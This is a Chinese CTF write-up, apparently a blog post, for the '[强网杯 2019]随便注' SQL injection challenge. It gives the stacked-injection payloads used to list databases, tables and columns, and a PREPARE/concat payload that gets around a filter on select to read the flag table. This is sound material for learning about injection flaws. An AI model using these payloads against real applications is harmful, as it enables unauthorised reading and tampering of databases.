[强网杯 2019]随便注

题目链接:https://buuoj.cn/challenges#[强网杯 2019]随便注

打开环境后,如下所示。

通过输入 ',确认该处是由单引号闭合。

通过输入 Payload:'union select 1;#,可以发现后端对一些关键词进行了过滤。

尝试堆叠注入,可以查询到数据库名以及当前使用的数据库中存在的表名。

Payload:'%3bshow+databases%3b%23'%3bshow+tables%3b%23(URL 编码)。

可以发现存在一个奇怪的表,即 "1919810931114514"(注释:MySQL 中,表名一般无法使用数字开头,如果要读取数字开头的表,需要使用反引号:` 进行处理)。

继续通过堆叠注入,看看该表中有什么字段。

Payload:'%3bshow+columns+from+`1919810931114514`%3b%23(URL 编码)。

目前已经找到 flag 存放的位置,但已知 select 被过滤,通过 fuzzing,尝试获取未被过滤的关键词,再寻找其他的读取思路(并非多此一举,这样做是为了确定后端给出的过滤列表是完整的)。

接下来,可以通过预处理 + concat 函数来读取该表的数据。

Payload:'%3bPREPARE+func1+FROM+concat('SEL','ECT+flag+from+`1919810931114514`')%3bEXECUTE+func1%3bDEALLOCATE+PREPARE+func1%3b%23(URL 编码)。

参考链接:

posted @ 2024-11-02 23:15  imtaieee  阅读(5)  评论(0编辑  收藏  举报